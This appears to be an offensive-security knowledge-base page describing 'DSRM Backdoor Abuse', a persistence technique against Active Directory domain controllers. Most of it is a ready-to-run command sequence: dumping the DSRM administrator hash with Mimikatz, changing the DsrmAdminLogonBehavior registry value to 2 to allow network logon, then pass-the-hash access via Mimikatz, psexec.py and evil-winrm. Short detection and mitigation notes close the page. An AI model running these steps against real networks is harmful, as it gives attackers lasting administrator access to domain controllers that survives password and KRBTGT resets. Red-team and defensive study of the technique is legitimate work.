title: "Attack #62 โ DSRM Backdoor Abuse" description: "Every DC has a Directory Services Restore Mode (DSRM) administrator account with a separate password set during DC promotion. By default, this accountโฆ" category: active-directory subcategory: "Persistence" tags: ["active-directory", "ntlm", "privilege-escalation", "hashing"] tools: ["Mimikatz", "Evil-WinRM", "PowerShell"] difficulty: advanced updated: "2026-08-10" source: "vault:ActiveDirectory/AD-Attack/Category-Eight/๐ค Attack #62 โ DSRM Backdoor Abuse.md"#
๐ค Attack #62 โ DSRM Backdoor Abuse#
๐ How It Works#
Every DC has a Directory Services Restore Mode (DSRM) administrator account with a separate password set during DC promotion. By default, this account can't be used for network logons. However, modifying the registry key DsrmAdminLogonBehavior to 2 allows the DSRM administrator to authenticate over the network โ creating a persistent backdoor that survives AD credential resets, KRBTGT rotation, and even domain trust rebuilds.
โ๏ธ Prerequisites#
| Requirement | Detail |
|---|---|
| Local admin / SYSTEM on DC | To modify registry and dump DSRM hash |
๐ป Full Commands#
# โโ Step 1: Dump DSRM password hash โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
mimikatz.exe
privilege::debug
token::elevate
lsadump::sam
# Look for: Administrator (local) โ this is the DSRM account hash
# โโ Step 2: Enable network logon for DSRM โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v DsrmAdminLogonBehavior /t REG_DWORD /d 2 /f
# Value 0 = DSRM only in restore mode (default)
# Value 1 = DSRM when AD DS is stopped
# Value 2 = DSRM always allowed for network logon โ what we want
# โโ Step 3: Use DSRM hash for network access โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
# PtH with the DSRM Administrator hash:
sekurlsa::pth /domain:DC01 /user:Administrator /ntlm:<DSRM_HASH> /run:cmd.exe
# Note: /domain is the DC hostname, NOT the domain โ this is the local admin
# Result: Can access DC01 as .\Administrator forever
# โโ From Linux โ PtH with DSRM hash โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
psexec.py ./Administrator@DC01.corp.local -hashes :<DSRM_HASH>
evil-winrm -i DC01.corp.local -u Administrator -H <DSRM_HASH>
๐ก๏ธ Detection โ Event IDs#
| Event ID | Source | What to Look For |
|---|---|---|
| 4657 | Security Log (DC) | Registry modification โ DsrmAdminLogonBehavior created/changed |
| 4624 | Security Log (DC) | Local Administrator logon on DC (not domain admin) |
๐ Attack Chain Context#
[DSRM Backdoor] โโโ Permanent DC Access via Local Admin Account
โ
โโโโ ๐ Survives: KRBTGT rotation, DA password resets, trust rebuilds
โโโโ ๐ Only detected by: monitoring DsrmAdminLogonBehavior registry key
โโโโ ๐ Defeated by: monitor registry, never set DsrmAdminLogonBehavior to 2
โ Attack #62 โ DSRM Backdoor complete.